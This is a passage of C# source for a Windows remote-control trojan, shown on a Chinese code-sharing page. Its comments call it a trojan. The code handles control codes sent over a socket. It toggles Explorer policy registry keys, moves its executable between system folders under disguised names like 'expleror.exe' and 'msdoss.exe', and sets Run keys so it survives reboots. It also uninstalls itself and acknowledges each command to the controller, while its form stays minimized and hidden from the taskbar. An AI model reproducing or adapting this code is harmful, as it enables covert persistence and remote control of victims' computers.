📄 form1.cs
字号:
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoDrives",0);
key2.SetValue("NoDesktop",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs1110,恢复关机注销功能且显示硬盘盘符.
if(ss=="rs1110")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",0);
key1.SetValue("NoClose",0);
key1.SetValue("NoDrives",0);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives被修改！请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",0);
key2.SetValue("NoClose",0);
key2.SetValue("NoDrives",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs1101,恢复注销关机功能且显示桌面图标.
if(ss=="rs1101")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",0);
key1.SetValue("NoClose",0);
key1.SetValue("NoDesktop",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",0);
key2.SetValue("NoClose",0);
key2.SetValue("NoDesktop",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs1011,恢复注销功能且显示硬盘盘符和桌面图标.
if(ss=="rs1011")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",0);
key1.SetValue("NoDrives",0);
key1.SetValue("NoDesktop",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",0);
key2.SetValue("NoDrives",0);
key2.SetValue("NoDesktop",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs0111,恢复关机功能且显示硬盘盘符和桌面图标.
if(ss=="rs0111")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoDrives",0);
key1.SetValue("NoClose",0);
key1.SetValue("NoDesktop",0);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives、NoDesktop被修改！请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoDrives",0);
key2.SetValue("NoClose",0);
key2.SetValue("NoDesktop",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs1111,恢复所有修改选项.
if(ss=="rs1111")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",0);
key1.SetValue("NoClose",0);
key1.SetValue("NoDrives",0);
key1.SetValue("NoDesktop",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",0);
key2.SetValue("NoClose",0);
key2.SetValue("NoDrives",0);
key2.SetValue("NoDesktop",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//修改木马位置信息控制码的操作.
//控制码为ms1000,移动木马位置C/System->C/System32.
if(ss=="ms1000")
{
try
{
File.Move("c:\\winnt\\system\\expleror.exe","c:\\winnt\\system32\\msdoss.exe");
}
catch
{
}
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue("msdoss","c:\\winnt\\system32\\msdoss.exe");
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key2.SetValue("msdoss","c:\\winnt\\system32\\msdoss.exe");
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为ms0100,移动木马位置C/System->D/System32.
if(ss=="ms0100")
{
try
{
File.Move("c:\\winnt\\system\\expleror.exe","d:\\winnt\\system32\\microsoftt.exe");
}
catch
{
}
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue("microsoftt","d:\\winnt\\system32\\microsoftt.exe");
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key2.SetValue("microsoftt","d:\\winnt\\system32\\microsoftt.exe");
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为0010,移动木马位置C/System32->C/System.
if(ss=="ms0010")
{
try
{
File.Move("c:\\winnt\\system32\\msdoss.exe","c:\\winnt\\system\\expleror.exe");
}
catch
{
}
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue("expleror","c:\\winnt\\system\\expleror.exe");
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key2.SetValue("expleror","c:\\winnt\\system\\expleror");
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为ms0001,移动木马位置D/System32->C/System.
if(ss=="ms0001")
{
try
{
File.Move("d:\\winnt\\system32\\microsoftt.exe","c:\\winnt\\system\\expleror.exe");
}
catch
{
}
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue("expleror","c:\\winnt\\system\\expleror.exe");
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key2.SetValue("expleror","c:\\winnt\\system\\expleror");
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//卸载木马,控制码ds0000.
if(ss=="ds0000")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
try
{
key1.DeleteValue("expleror");
}
catch
{
}
try
{
key1.DeleteValue("msdoss");
}
catch
{
}
try
{
key1.DeleteValue("microsoftt");
}
catch
{
}
key1.Close();
}
catch{}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
}
}
//清理所有正在使用的资源。
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
#region Windows Form Designer generated code
/// <summary>
/// 设计器支持所需的方法 - 不要使用代码编辑器修改
/// 此方法的内容。
/// </summary>
private void InitializeComponent()
{
this.SuspendLayout();
//
// Form1
//
this.ClientSize = new System.Drawing.Size(292, 273);
this.Name = "Form1";
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
this.Load += new System.EventHandler(this.Form1_Load);
this.ResumeLayout(false);
}
#endregion
//应用程序的主入口点。
static void Main()
{
Application.Run(new Form1());
}
private void Form1_Load(object sender, EventArgs e)
{
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -